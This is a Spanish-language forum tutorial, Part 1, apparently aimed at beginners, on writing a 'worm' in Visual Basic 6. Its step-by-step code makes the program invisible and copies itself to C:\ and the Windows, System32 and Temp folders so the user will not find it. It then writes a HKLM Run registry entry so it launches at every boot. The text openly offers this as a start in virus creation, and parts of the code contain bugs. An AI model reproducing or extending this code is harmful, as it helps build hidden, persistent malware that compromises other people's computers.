Parte 1
¿Por qué en Visual Basic?
Ps porque el leguaje de Visual Basic esta basado en el lenguaje Basic (Su lenguaje original) y es un lenguaje muy sencillo para la programación, no solo de virus sino de aplicaciones. Muchos hablan de la sencilles de VB como si fuera hablar en Ingles, y aunque en algunos casos es cierto, no toda la programación en VB esta basada en ello. De hecho los programadores utilizan tecnicas que van adquiriendo con el tiempo para que sus codigos se vean con mas profecionalidad, de forma que disimula mas su sencilla estructura. Es necesario que antes de programar sepas el entorno con el que trabajaras, y por supuesto que te des una imagen de lo que quieres hacer, la imaginación juega mucho a la hora de programar virus, al igual que le analicis y la comprensión de otros softwares. Claro que lo que veremos a lo largo de este tutorial sera la forma basica para la creación de virus, para ser mas claro veremos como trabaja un virus, con que trabajaremos, como trabajaremos, programaremos una cabezera, funciones basicas, y un payload que sera aplicable a la estructura de nuestro programa. De ahora en mas, no llamaremos mas a nuestra creación un virus, sino que la llamaremos Worm (traducido al español/castellano: Gusano) ¿Por qué? Porque un virus se encarga de infectar y aprobechar los recursos de otros ficheros en el que se puede simplemente infiltrar o lo puede reemplazar. Se podria decir que virus es todo aque que infecta otros ficheros para su reproducción, miestras que el Worm utiliza tecnicas de propagacion que corren por su cuenta.
Comenzamos por ver alguna cosas que necesitamos como base para programar un worm en Visual Basic (yo utilizare la versión 6.0, quiza lo que veamos a continuación se podra aplicar a su versión anterior 5.0, y lógicamente a una superior).
En nuestro entorno veremos un cuadro de herramientas (ver figura 1) al cual le podremos agregar elementos, los cuales llamaremos controles. Los controles son aplicables al proyecto, para ello debemos hace clic en uno y luego en el formulario hacer clic y mantenerlo sostenido mientras arrastramos el mouse, luego lo podemos redimensionar haciendole clic o con las propiedades Width y Height, estas propiedades nos redimencionaran algun control en tiempo de ejecución (esto quiere decir que mietras estemos con VB el control tendra cualquier tamaño, pero al ejecutar la aplicación se redimencionara al tamaño que indiquemo en Width (Ancho) y en Height (Largo)).
Para agregar controles debemos dirigirnos al menú “Proyectos” “Componentes” o presionar ctrl. Y luego “T”. Asi veremos la ventana “Componentes” (ver figura 2) En la cual podemos escoger el cmponente que queramos agregar al proyecto, tildarlo y presionar “Aceptar”.
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer SesionEn el cuadro de herramientas encontraremos controles que podemos utilizar en nuestro proyecto.Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer SesionAl abrir la ventana componentes encontraremos una lista con controles y componentes que podemos agregar al cuadro de herramientas para luego ser utilizados en el proyecto.Bueno, ya sabemos donde encontrar los controles y componentes que necesitamos, y si los necesitamos agregar. Ahora les hablare de los controles que se utilizan generalmente en la creación de virus o Works.
El Control “Timer”`
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer SesionEste control nos permite ejecutar acciones cada cierto intervalo de tiempo. Dicho intervalo se indica en la propiedad “Interval” del mismo. Su utilización en la creación virica se basa en la mayoria de las veces para verificar algun dato. Por ejemplo, para saber si nos han eliminado, podemos crea un Timer con intervalo a 100 (acuerdence que la propiedad Interval toma sus valores como milisegundos es decir que si le ponemos valor 1000 sera 1 segundo (1000 milisegundos)) y utilizando la funcion “Dir” (no es necesario que lo sepan, es oslo un ejemplo, esta fusión devuelve una cadena vacia si el fichero o directorio que le pasamos como parámetros no existe, o su ruta completa si es que existe) podemos verificar cada 100 milisegundos si existe nuestro archivo o no.
Tambien se utiliza para la propagacion por redes LAN o para la propagacion por unidades Extraíbles, pero esto ya pasa a un grado de dificultad mayor de lo que veremos, así que no le den importancia.
El Control “Winsock”
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer SesionEste control se utiliza mas para la programación de troyanos, o aplicaciones Cliente/Servidor. Pero tambien existen los virus que utilizan este control para comunicarce con alguno de sus componentes y pasarle datos para que realice alguna accion.
Los unicos controles mas utilizados son estos, les parece poco, pero que mas esperan? Si el virus o worm sera invisble y pos, no debemos darle una interfaz grafica.
Otra cosa que tiene que quedar en claro es nunca utilizar el control TextBox para almacenar datos, esto los hace ver muy principiantes y ni siquiera los principiantes lo hacen (alguno si, por eso se los aclaro, esto los hace ver muy mal). La funcion del TexBox se puede aplicar a las Variables. Así que olvidence de usar ese control!
Bueno, veamos un poco mas de teoria, pero le aplicaremos un poco de practica..
Las Variables: Les hare lo mismo que mi profesora de biología, les dire “Este concepto ya lo tienen” y si no lo tienen creo que estan en lo muy basico y para empezar a programar virus no deben empezar por aquí

. Las variables son muy pero muy utilizadas sobre todo en la creación de virus, donde los datos corren como agua en rio, es necesario declarar cada una de las variables para su correcto funcionamiento.
Antes de comenzar con la creación de un worm (y de un virus) debemos asegurarnos que el formularios sea invisible a los ojos del usuario, así que le daremos a la propiedad “Visible” del mismo el valor False. Ahora, la cabezera del virus radica en el sub Form_Load que se produce al inciar el formulario (es decir al iniciar el worm). Lo primero que pondremos aquí sera: El valor false de la propiedad visible del formulario y una sentencia que hara que si el worm ya se estaba ejecutando, se cierre.
Veran que ire aplicando comentarios, pos esto ayudara a comprender mejor el codigo. Así que nos vamos a la parte de Codigo de Visual Basic y escribimos lo siguiente:
Private Sub Form_Load()
'Hacemos invisible el formulario
Me.Visible = False
'Con el objeto App y su accion PrevInstance
'obtendremos uno de dos valores (True o False)
'que indican si la aplicacion estaba abierta o cerrada
'respectivamente. Asique aplicamos una estructura If
'para saber si nos estamos ejecutando.
If App.PrevInstance = True Then
'Si nos estabamoos ejecurtando
'usamos "End" para finalizarnos
End
End If
End Sub
Hasta aquí vamos bien, ahora le daremos un proposito a nuestro virus. Se debera copiar en la raiz C:\ con el nombre “MiVirus.exe” cuando se ejecute. Pero sto sera muy facil, así que le agregaremos una funcion llamada “Comprobar” la cual comprobara si se ah podido copiar el worm en C:\ con el nombre “MiVirus.exe”. Para saber si se copio, usaremos la funcion Dir, que les di una pequeña explicación mas arriva de que hace y como funciona. De todas formas veran el codigo explicado en cada linea

Explicación del App: El objeto App contiene ciertas acciones que podemos usar para saber información sobre el proyecto. Al momento de copiarnos, usamos dos veces el objeto App. Una vez para saber nuestra ruta y otra para saber nuestro nombre. Con App.Path y App.EXEName respectivamente. Los mismos devolveran la ruta (no completa, sino hasta el directorio donde nos encontramos) y el nombre (Sin la extencion).
Private Sub Form_Load()
'Hacemos invisible el formulario
Me.Visible = False
'Con el objeto App y su accion PrevInstance
'obtendremos uno de dos valores (True o False)
'que indican si la aplicacion estaba abierta o cerrada
'respectivamente. Asique aplicamos una estructura If
'para saber si nos estamos ejecutando.
If App.PrevInstance = True Then
'Si nos estabamoos ejecurtando
'usamos "End" para finalizarnos
End
End If
'Nos copiamos a la raiz C:\ con el nombre MiVirus.exe
'para ello usamos la funcion FileCopy
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\MiVirus.exe"
'Usamos Call para llamar al sub Comprobar que va a comprobar
'si nos pudimos copiar:
Call Comprobar
End Sub
'Creamos el sub Comprobar
Private Sub Comprobar()
'Usamos la funcion Dir para saber si existe la copia que hicimos
'anteriormente. Si la funcion Dir es igual a "" quiere decir que
'no existe, por lo tanto no se pudo copiar. en caso contrario si
'se ah podido copiar por lo tanto esta todo bien.
'Usamos la estructura If-Then-Else para hacer la verificacion
If Dir(App.Path & "\" & App.EXEName & ".exe") = "" Then
'Si no existe ejecutamos estas sentencias de aqui
'en mi caso solo mostrare un mensaje:
MsgBox "No se pudo copiar mi virus :'("
Else
'En caso contrario se ejecutan las sentencias de aqui
MsgBox "Me pude copiar, que bien =D"
End If
End Sub
Bueno, ya aprendimos a copiarnos. Pero tienen que saber que la mayoria de los virus se copian en directorios como: WINDOWS, System32, System o Temp. Ya que son mas difíciles de detectar aquí, y pueden usar nombre para pasar desapercibidos ante los ojos del usuario (por ahora no nos interesa el Antivirus, así que no te preocupes por el

).
Para poder obtener los directorio de WINDOWS, System32 y Temp existe el objto FileSystemObject (llamado vulgarmente FSO). Lo que haremos ahora, sera usar el objeto para obtener estos tres directorio y creo una copia del virus a cada uno de los directorios.
La funcion de FSO que permite obtener el directorio de WINDOWS, System32 y Temp son:
GetSpecialFolder(0)
GetSpecialFolder(1)
GetSpecialFolder(2)
Respectivamente, estas funciones devolveran el directorio completo, por ello devemos crear una variable para las 3 funciones y almacenar los datos que nos devuelvan aquí.
Así que lo que aremos ahora sera: Luego de copiarnos en C:\, nos copiaremos en el directorio Windows con el nombre “Copia en WINDOWS”, en el directorio System32 con el nombre “Copia en SYSTEM” y en el directorio Temp con el nombre “Copia en Temp”.
La funcion que hara esto se llamara “Copiadora”, así que la agregaremos al codigo:
Private Sub Form_Load()
'Hacemos invisible el formulario
Me.Visible = False
'Con el objeto App y su accion PrevInstance
'obtendremos uno de dos valores (True o False)
'que indican si la aplicacion estaba abierta o cerrada
'respectivamente. Asique aplicamos una estructura If
'para saber si nos estamos ejecutando.
If App.PrevInstance = True Then
'Si nos estabamoos ejecurtando
'usamos "End" para finalizarnos
End
End If
'Nos copiamos a la raiz C:\ con el nombre MiVirus.exe
'para ello usamos la funcion FileCopy
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\MiVirus.exe"
'Usamos Call para llamar al sub Comprobar que va a comprobar
'si nos pudimos copiar:
Call Comprobar
'Con Call llamamos a la funcion Copiadora que nos copiara
'en los directorios WINDOWS, System y Temp
Call Copiadora
End Sub
'Creamos el sub Comprobar
Private Sub Comprobar()
'Usamos la funcion Dir para saber si existe la copia que hicimos
'anteriormente. Si la funcion Dir es igual a "" quiere decir que
'no existe, por lo tanto no se pudo copiar. en caso contrario si
'se ah podido copiar por lo tanto esta todo bien.
'Usamos la estructura If-Then-Else para hacer la verificacion
If Dir(App.Path & "\" & App.EXEName & ".exe") = "" Then
'Si no existe ejecutamos estas sentencias de aqui
'en mi caso solo mostrare un mensaje:
MsgBox "No se pudo copiar mi virus :'("
Else
'En caso contrario se ejecutan las sentencias de aqui
MsgBox "Me pude copiar, que bien =D"
End If
End Sub
'Creamos la funcion Copiadora
Private Function Copiadora()
'Creamos el objeto FSO, para esto usamos "Set"
'luego de el le aplicamos un nombre para referirnos al
'objeto y depsues agregamos un "=" y con la palabra
'"CreateObject" entre parentecis escribimos el objeto...
'Pero recuerde SIMEPRE DEBEN DECLARAR LAS VARIBALES, en nuestro
'caso, la variable sera FSO y sera de tipo "Objeto":
Dim FSO As Object
'Ahora si, creamos el objeto y se lo aplicamos a la variale FSO
Set FSO = CreateObject("Scripting.FileSystemObject")
'Ahora declaramos las tres variables que contendran los directorios:
Dim CarpetaWindows As String 'Para el directorio Windows
Dim CarpetaSystem As String ' Para el directorio System
Dim CarpteaTemp As String ' para el directorio Temp
'Ahora usamos la funcion GetSpecialFolder para darle el directorio
'a cada una de las variables, recuerden:
'El 0 es para Widnows
'El 1 es para System
'El 2 es para Temp
Set CarpetaWindows = FSO.GetSpecialFolder(0)
Set CarpetaSystem = FSO.GetSpecialFolder(1)
Set CarpetaTemp = FSO.GetSpecialFolder(2)
'Ahora seguimos por crear las copias, como ya lo habiamos hecho.
'Solo cmabia la manera de escribir el destino:
FileCopy App.Path & "\" & App.EXEName & ".exe", CarpetaWindows & "\Copia en Windows.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", CarpetaSystem & "\Copia en System.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", CarpetaTemp & "\Copia en Temp.exe"
'Asi ya estamos copiados!
End Function
Y vemos como el codigo se va agrandando de a poco. Ahora ya logramos copiarnos en el sistema, y el usuario no nos encontrara. Pero.. Hay una cosa importante, cuando el usuario reinicie, ¿Cómo hacemos paa que el usuario vuelva a abrir el virus? Esta es una preguntta importante. Pero recuerden que tenemmos nuestras copias en los directorios especiales del sistema. Y hay una peculiaridad en el Registro de Windows, que es que permite crear una entrada en una clave especial y esa entrada se abrira cada vez que inicie el sistema. Así que, si a esta entrada le damos como valor la ruta del Worm, el worm se ejecutara cada vez que el sistema inicie!!. Es perfecto, así que vemos como y donde escribir en el registro.
Si no conoces el registro, no es buena idea que sigas leyendo, recomiendo uses Google y busques algo como “El Registro de Windows”, busca info, y leela, asi sabras de lo que hablare, ya que no profundizare el tema del registro de windows.
Exisate otro objeto, similar al FSO, solo que este se llama WScript.Shell y vulgarmente se lo llama WSS o WS. Este objeto contiene una funcion (como la funcion GetSpecialFolder de FSO) que nos permite escribir en el registro, esta funcion se llama RegWrite. La funcion RegWrite nos escribira una entrada en registro, en nuestro caso la clave que nos interesa es “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run” lo que copiaremos en esta entrada sera la ruta completa de nuestra copia en el directorio Windows. Asi cuando inicie el sistema, se abrira la copia

Así que hagamoslo:
Private Sub Form_Load()
'Hacemos invisible el formulario
Me.Visible = False
'Con el objeto App y su accion PrevInstance
'obtendremos uno de dos valores (True o False)
'que indican si la aplicacion estaba abierta o cerrada
'respectivamente. Asique aplicamos una estructura If
'para saber si nos estamos ejecutando.
If App.PrevInstance = True Then
'Si nos estabamoos ejecurtando
'usamos "End" para finalizarnos
End
End If
'Nos copiamos a la raiz C:\ con el nombre MiVirus.exe
'para ello usamos la funcion FileCopy
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\MiVirus.exe"
'Usamos Call para llamar al sub Comprobar que va a comprobar
'si nos pudimos copiar:
Call Comprobar
'Con Call llamamos a la funcion Copiadora que nos copiara
'en los directorios WINDOWS, System y Temp
Call Copiadora
'De nuevo usamos Call para llamar a la funcion "Registrame"
'la cual agregara una entrada en el regitro en la clave
'Run para poder ejecutar la copia que hicimos en C:\
'cada vez que se inicie el sistema:
Call Registrame
End Sub
'Creamos el sub Comprobar
Private Sub Comprobar()
'Usamos la funcion Dir para saber si existe la copia que hicimos
'anteriormente. Si la funcion Dir es igual a "" quiere decir que
'no existe, por lo tanto no se pudo copiar. en caso contrario si
'se ah podido copiar por lo tanto esta todo bien.
'Usamos la estructura If-Then-Else para hacer la verificacion
If Dir(App.Path & "\" & App.EXEName & ".exe") = "" Then
'Si no existe ejecutamos estas sentencias de aqui
'en mi caso solo mostrare un mensaje:
MsgBox "No se pudo copiar mi virus :'("
Else
'En caso contrario se ejecutan las sentencias de aqui
MsgBox "Me pude copiar, que bien =D"
End If
End Sub
'Creamos la funcion Copiadora
Private Function Copiadora()
'Creamos el objeto FSO, para esto usamos "Set"
'luego de el le aplicamos un nombre para referirnos al
'objeto y depsues agregamos un "=" y con la palabra
'"CreateObject" entre parentecis escribimos el objeto...
'Pero recuerde SIMEPRE DEBEN DECLARAR LAS VARIBALES, en nuestro
'caso, la variable sera FSO y sera de tipo "Objeto":
Dim FSO As Object
'Ahora si, creamos el objeto y se lo aplicamos a la variale FSO
Set FSO = CreateObject("Scripting.FileSystemObject")
'Ahora declaramos las tres variables que contendran los directorios:
Dim CarpetaWindows As String 'Para el directorio Windows
Dim CarpetaSystem As String ' Para el directorio System
Dim CarpteaTemp As String ' para el directorio Temp
'Ahora usamos la funcion GetSpecialFolder para darle el directorio
'a cada una de las variables, recuerden:
'El 0 es para Widnows
'El 1 es para System
'El 2 es para Temp
Set CarpetaWindows = FSO.GetSpecialFolder(0)
Set CarpetaSystem = FSO.GetSpecialFolder(1)
Set CarpetaTemp = FSO.GetSpecialFolder(2)
'Ahora seguimos por crear las copias, como ya lo habiamos hecho.
'Solo cmabia la manera de escribir el destino:
FileCopy App.Path & "\" & App.EXEName & ".exe", CarpetaWindows & "\Copia en Windows.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", CarpetaSystem & "\Copia en System.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", CarpetaTemp & "\Copia en Temp.exe"
'Asi ya estamos copiados!
End Function
Private Sub Registrame()
'Declaramos la variable WSS como objeto
Dim WSS As Object
'Creamos el objeto WScript
Set WSS = CreateObject("WScript.Shell")
'Usamos la funcion RegWrite para escribir la entrada
'en el registro. vemosla y la leeran tantas veces como
'sea necesario hasta que la entiendan:
WSS.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "C:\MiVirus.exe"
End Sub
Bueno, ya sabemos lo basico para la creación de un virus, con un poco de practica una base de conocimientos minimos podemos crear un pequeño virus que infecte el sistema copiandose en directorios especiales y se inicie cada vez que se abre el sistema (esto se llama residente en memoria

).
Asi ps aquí termina el tutorial basico para la creación de Works en VB6. NBotaran que es cortito y simple, pero les servira. No se preocupen que pronto hare otro tutorial, quiza lo llame como la segunda parte de este ya que hay otras cosas basicas que podria explicar, pero ahora no tengo mucho tiempo y les dejo esto porque les sirve para iniciarce.
Mañana quiza postee la segunda parte en donde veremos la eliminación de archivo, la lectura de los mismo, y mas sobre como crear Works en VB6.
Por ahora, pueden leer otros temas como
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer SesionEstructuras y bucles
y
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer SesionTratamiento de cadenas
que les servira para afianzar mas los conocimientos. Y esta información también les servira para la 2da parte, ya que utilizaremos estos temas

Por ahora, les dejo uno Salu2! Y sigan practicando!